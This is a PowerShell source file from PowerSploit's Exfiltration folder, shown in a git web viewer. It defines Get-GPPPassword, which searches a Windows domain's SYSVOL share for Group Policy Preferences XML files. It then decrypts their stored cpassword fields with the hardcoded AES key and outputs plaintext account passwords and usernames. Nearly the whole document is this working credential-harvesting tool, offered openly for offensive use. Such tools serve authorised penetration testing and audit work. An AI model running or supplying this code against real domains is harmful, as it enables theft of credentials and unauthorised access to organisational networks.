aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/Get-GPPPassword.ps1
blob: 12d278522c488b518167914d00c305b11ffb6d5e (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
function Get-GPPPassword {
<#
.SYNOPSIS

    Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

    PowerSploit Function: Get-GPPPassword
    Author: Chris Campbell (@obscuresec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
 
.DESCRIPTION

    Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.

.EXAMPLE

    Get-GPPPassword

.LINK
    
    http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
    https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
    http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
    http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
    
    [CmdletBinding()]
    Param ()
    
    #define helper function that decodes and decrypts password
    function Get-DecryptedCpassword {
        Param (
            [string] $Cpassword 
        )

        try {
            #Append appropriate padding based on string length  
            $Mod = ($Cpassword.length % 4)
            if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}

            $Base64Decoded = [Convert]::FromBase64String($Cpassword)
            
            #Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
            
            #Set IV to all nulls to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor() 
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
            
            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        } 
        
        catch {Write-Error $Error[0]}
    }  
    
    #ensure that machine is domain joined and script is running as a domain account
    if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
    {
        throw 'Machine is not joined to a domain.'
    }
    
    #discover potential files containing passwords ; not complaining in case of denied access to a directory
    $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
    
    if ( -not $XMlFiles )
    {
        throw 'No files containing encrypted passwords found.'
    }

    foreach ($File in $XMLFiles) {
        
        try {
            $Filename = $File.Name
            $Filepath = $File.VersionInfo.FileName

            #put filename in $XmlFile
            [xml] $Xml = Get-Content ($File)

            #declare blank variables
            $Cpassword = ''
            $UserName = ''
            $NewName = ''
            $Changed = ''
    
            switch ($Filename) {

                'Groups.xml' {
                    $Cpassword = $Xml.Groups.User.Properties.cpassword
                    $UserName = $Xml.Groups.User.Properties.userName
                    $NewName = $Xml.Groups.User.Properties.newName
                    $Changed = $Xml.Groups.User.changed
                }
        
                'Services.xml' {
                    $Cpassword = $Xml.NTServices.NTService.Properties.cpassword
                    $UserName = $Xml.NTServices.NTService.Properties.accountName
                    $Changed = $Xml.NTServices.NTService.changed
                }
        
                'Scheduledtasks.xml' {
                    $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
                    $UserName = $Xml.ScheduledTasks.Task.Properties.runAs
                    $Changed = $Xml.ScheduledTasks.Task.changed
                }
        
                'DataSources.xml' {
                    $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
                    $UserName = $Xml.DataSources.DataSource.Properties.username
                    $Changed = $Xml.DataSources.DataSource.changed
                }
            }

            if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}

            else {Write-Verbose "No encrypted passwords found in $Filepath"}
        
            #Create custom object to output results
            $ObjectProperties = @{'Password' = $Password;
                                  'UserName' = $UserName;
                                  'Changed' = $Changed;
                                  'NewName' = $NewName
                                  'File' = $Filepath}
                
            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
            Write-Output $ResultsObject
        }
        
        catch {Write-Error $Error[0]}  
    }
}